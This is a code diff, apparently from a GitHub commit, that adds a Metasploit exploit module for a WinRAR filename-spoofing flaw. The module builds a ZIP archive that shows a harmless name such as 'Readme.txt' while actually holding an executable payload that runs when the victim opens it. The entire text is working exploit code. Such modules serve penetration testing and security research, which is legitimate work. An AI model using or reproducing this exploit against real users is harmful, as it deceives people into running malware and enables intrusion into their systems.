|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/zip' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::FILEFORMAT |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'WinRAR Filename Spoofing', |
| 18 | + 'Description' => %q{ |
| 19 | + This module abuses a filename spoofing vulnerability in WinRAR. The vulnerability exists |
| 20 | + when opening ZIP files. The file names showed in WinRAR when opening a ZIP file come from |
| 21 | + the central directory, but the file names used to extract and open contents come from the |
| 22 | + Local File Header. This inconsistency allows to spoof file names when opening ZIP files |
| 23 | + with WiRAR, which can be abused to execute arbitrary code, like exploited in the wild in |
| 24 | + March 2014 |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'chr1x', # Vulnerability discoverer according to OSVDB |
| 30 | + 'juan vazquez' # Metasploit module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'OSVDB', '62610' ], |
| 35 | + [ 'BID', '66383' ], |
| 36 | + [ 'URL', 'http://securityaffairs.co/wordpress/23623/hacking/winrar-zero-day.html'], |
| 37 | + [ 'URL', 'http://an7isec.blogspot.co.il/'] |
| 38 | + ], |
| 39 | + 'Platform' => [ 'win' ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'DisableNops' => true, |
| 43 | + 'Space' => 4096 |
| 44 | + }, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'Windows Universal', {} ] |
| 48 | + ], |
| 49 | + 'DisclosureDate' => 'Sep 28 2009', |
| 50 | + 'DefaultTarget' => 0)) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']), |
| 55 | + OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']) |
| 56 | + ], self.class) |
| 57 | + |
| 58 | + end |
| 59 | + |
| 60 | + def exploit |
| 61 | + exe_filename = rand_text_alpha(rand(6) + 1) |
| 62 | + exe_filename << ".exe" |
| 63 | + |
| 64 | + zip = Rex::Zip::Archive.new |
| 65 | + zip.add_file(exe_filename, generate_payload_exe, nil, nil, datastore['SPOOF']) |
| 66 | + pack = zip.pack |
| 67 | + |
| 68 | + print_status("Creating '#{datastore['FILENAME']}' file...") |
| 69 | + file_create(pack) |
| 70 | + end |
| 71 | + |
| 72 | +end |
0 commit comments